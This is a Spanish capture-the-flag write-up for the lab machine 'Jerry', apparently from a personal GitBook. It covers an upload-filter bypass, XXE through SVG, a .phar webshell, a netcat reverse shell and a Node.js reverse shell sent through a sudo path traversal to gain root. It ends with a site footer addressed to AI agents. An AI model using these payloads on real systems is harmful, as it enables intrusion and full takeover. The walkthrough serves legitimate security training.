# Jerry * La IP de la máquina Jerry en mi caso:
### Recon 1. Lanzamos un escaneo con Nmap contra el objetivo: ```bash sudo nmap -sCV -p- --open -T5 192.168.56.109 ```
* Puertos identificados: * 22 → Servicio SSH * 25 → Servicio SMTP * 80 → Servicio HTTP 2. Añadimos la IP y el host al archivo **/etc/hosts**:
3. Visitamos la web desde el navegador:
4. Navegando por la web, encontramos encontramos un formulario que nos permite subir una imagen de perfil:
### File Upload 5. Cómo el input es para subir una imagen de perfil, probaremos si podemos subir otro tipo de archivo, por ejemplo un txt :
* Pero el input valida el tipo de archivo y sólo permite imágenes. 6. Analizamos el código para ver como el input filtra que formato de archivos se suben:
* Identificamos la función **UploadCheck()** y el parámetro **accept** que sólo permite formatos de imagen. 7. Comprobamos la función **UploadCheck** para analizar cómo hace la validación del formato:
8. Analizando el código del script, en la parte que printa el mensaje "Only images are allowed", se especifican que extensiones están permitidas y si no son alguna del listado, no se permite la subida del archivo:
* Sólo están permitidas las extensiones **jpg, jpeg y png**. Por eso no ha permitido la subida del txt. 9. Este filtro, es muy fácil de bypassear. Cómo se ha visto al inspeccionar el código, es accesible desde el front-end. Con eliminar la función del input y volver a hacer **Submit** del formulario con el archivo subido en el input, se consigue subir el archivo:
* Pero parece que realmente no está subiendo nada, se puede ver en la URL. 11. El siguiente paso será hacer un fuzzing web a ver si hay algún elemento por el que seguir avanzando: ``` ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://jerry.nyx/request/FUZZ.php -c ```
* 3 archivos php identificados: * index → La pantalla del formulario. * submit → Envía el formulario al hacer click en “Submit”. * upload → Sube el archivo adjunto al formulario. 12. Se crea una shell.php:
13. Para la subida de shell.php se redirige el tráfico a través de Burp y se elimina la función de filtrado como se ha hecho anteriormente:
* Al eliminar la función de filtrado del front-end, se puede hacer click en el botón de subida del archivo y capturar la request POST a upload.php. 14. Al enviarla desde el Repeater, la extensión es identificada y no permite la subida:
* En el back-end de la web debe de haber otra función de blacklist que no permite las extensiones php. ### Extension Fuzzing 15. El siguiente paso es fuzzear extensiones para intentar evitar la blacklist de extensiones que debe de haber en el back-end de la web, para ello, se envía la request de subida del archivo al **Intruder**:
* Se selecciona la parte de la extensión, que es sobre se hará el fuzzing:
* Se carga una la lista de extensiones que se utilizará en el fuzzing, en el menú de la derecha del Intruder de Burp:
{% hint style="info" %} \* **Recomendación**: Descargar el github de [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) `git clone` [`https://github.com/swisskyrepo/PayloadsAllTheThings`](https://github.com/swisskyrepo/PayloadsAllTheThings) {% endhint %} * **Importante: D**esactivar el URL encode, porque sino encodeará las extensiones y no dará resultado:
* En Settings, añadir el mensaje “*Extension not allowed*” para que filtre las respuestas que da el servidor:
* Se inicia el ataque:
16. Al finalizar el ataque, ordenar por la columna en la que está aplicada la regex del “*Extension not allowed*” y aparecen las extensiones que no están blacklisteadas y permiten la subida del fichero:
### File Upload into XXE 17. Ahora que conocemos las extensiones válidas, vamos a usarlo en la explotación. Para ello, descargamos una imagen **svg**:
18. Repetimos en el formulario la eliminación de la función de validación:
19. Redirigimos el tráfico a Burp e interceptamos la request para enviarla al **Repeater**:
20. Con la request de subida de la **imagen svg** en el **Repeater**, probaremos con el siguiente **payload** a ver si podemos mostrar archivos del sistema objetivo: ```xml ]> &xxe; ```
* Esto sucede porque las imágenes **SVG** contienen código **XML**, que nos permite la ejecución de código en la máquina objetivo. * Usuarios identificados: * kramer * jerry * elaine 21. Podemos visualizar archivos del sistema, pero también mostrar el código de archivos como tal. Al hacer el fuzzing hemos identificado **upload.php,** que por lo que hemos ido avanzando en la máquina, es el archivo que hace la subida del archivo adjunto desde el formulario al server. Utilizaremos el siguiente payload para mostrar su código fuente y entender el funcionamiento de subida: ```xml ]> &xxe; ```
* El código del archivo viene encodeado en base64, así que lo decodeamos: ```bash echo -n “código_upload.php_base64” | base64 -d ```
* Ahora el código es legible. Se puede ver en que directorio se sube el archivo del formulario, cómo lo renombra, la blacklist, etc. ### RCE 22. Ahora recuperaremos la request de subida de la **shell.php**. En la blacklist del código decodeado aparecen las extensiones que están bloqueadas, pero una de las que hemos identificado con el **Intruder** si que nos funcionaría. En la request, cambiamos la extensión de shell.php a **shell.phar** y la enviamos de nuevo desde el **Repeater**:
* Esta vez el archivo se sube de forma correcta. 23. Cómo hemos identificado anteriormente, el archivo subido cambia de nombre (añadiendo la fecha actual, en un formato específico) y se sube al directorio **job\_request\_files**, así que accedemos a la ruta desde el navegador, añadiendo un comando para su ejecución desde el cmd que incluye el archivo .phar: >
* Conseguimos la ejecución de código remoto en la máquina víctima. ### Reverse Shell 24. Vamos a ejecutar una reverse shell contra nuestra máquina atacante, para que nos sea más cómodo operar en los siguientes pasos: > nc 192.168.56.101 1234 -e sh
* Previamente se deja una consola a la escucha: ```bash nc -vnlp 1234 ```
* Recibimos la conexión al acceder a la URL anterior:
25. Listamos el contenido de la carpeta en la que nos encontramos:
* Se pueden ver varios archivos que he subido de prueba, los del ataque del Intruder, además del index.php. ### Privilege Escalation 26. Listamos los usuarios disponibles desde el directorio /home/
27. Uno de los puertos abiertos es el **25 (SMTP)**, lo que quiere decir que hay un servicio de mail. Para visualizar los mails enviados por los usuarios, iremos al directorio **/var/mail**:
* No tenemos permisos sobre estos directorios porque peretenecen a los usuarios. 28. Vamos a realizar enumeración de archivos sobre los que tengamos permisos de escritura: ```bash find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev' ``` {% hint style="info" %} Payload obtenido del blog de J4ckie0x17: {% endhint %}
* Pero no hay nada interesante. 29. Navegando por las carpetas de la raíz, identificamos contenido útil en el directorio /opt:
30. Dentro del directorio scripts está el archivo **backup.js**, leyendo su código se puede ver que en la carpeta **backups\_mail** se están creando archivos comprimidos en ZIP.
* Listamos el contenido de backups\_mail, y tenemos permisos de lectura:
31. Descargamos los archivos comprimidos a nuestra máquina atacante para leerlos: * Levantamos un **servidor PHP** en la máquina víctima: ```bash php -S 0.0.0.0:8080 ``` * Desde la máquina atacante, descargamos los archivos: ```wasm wget 192.168.56.109:8080/archivo_backup.zip ```
* Descomprensión de los archivos ya en la máquina atacante: ```bash unzip archivo_backup.zip ```
32. Investigamos el contenido de los mails, que son conversaciones entre los usuarios, y encontramos una posible contraseña:
33. Probamos el acceso por SSH con el usuario **elaine** y la contraseña que acabamos de encontrar:
* La contraseña es correcta y se consigue la conexión por SSH con el usuario elaine. 34. Buscamos sobre que tiene permisos de ejecución sin contraseña el usuario elaine:
* Tiene permisos de ejecución sobre los **.js** dentro de **/opt/scripts/,** así que el script de backups que hemos identificado anteriormente, se puede ejecutar desde el usuario **elaine**. 35. Al tener permisos de root sobre **/opt/scripts/\*.js** la forma de avanzar sería creando una reverse shell con **javascript** y ejecutarla indirectamente de la siguiente manera: * reverse\_shell.js: ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "192.168.56.101", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); ``` * La creamos dentro del directorio tmp:
* Ponemos una consola a la escucha: ```bash nc -vnlp 4444 ```
* La ejecutaremos a través de la ruta de la que elaine tiene permitida la ejecución como sudo: ```bash sudo /usr/bin/node /opt/scripts/*.js/../../../../../../tmp/reverse_shell.js ```
* Recibimos la conexión como root en la consola a la escucha:
### Flags #### Flag user * La flag **user.txt** se encuentra en el directorio del usuario **elaine**:
#### Flag root * La flag **root.txt** se encuentra en el directorio del usuario **root:**
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://l4nk0n3.gitbook.io/l4nk0n3/esp/writeups/vulnyx/jerry.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.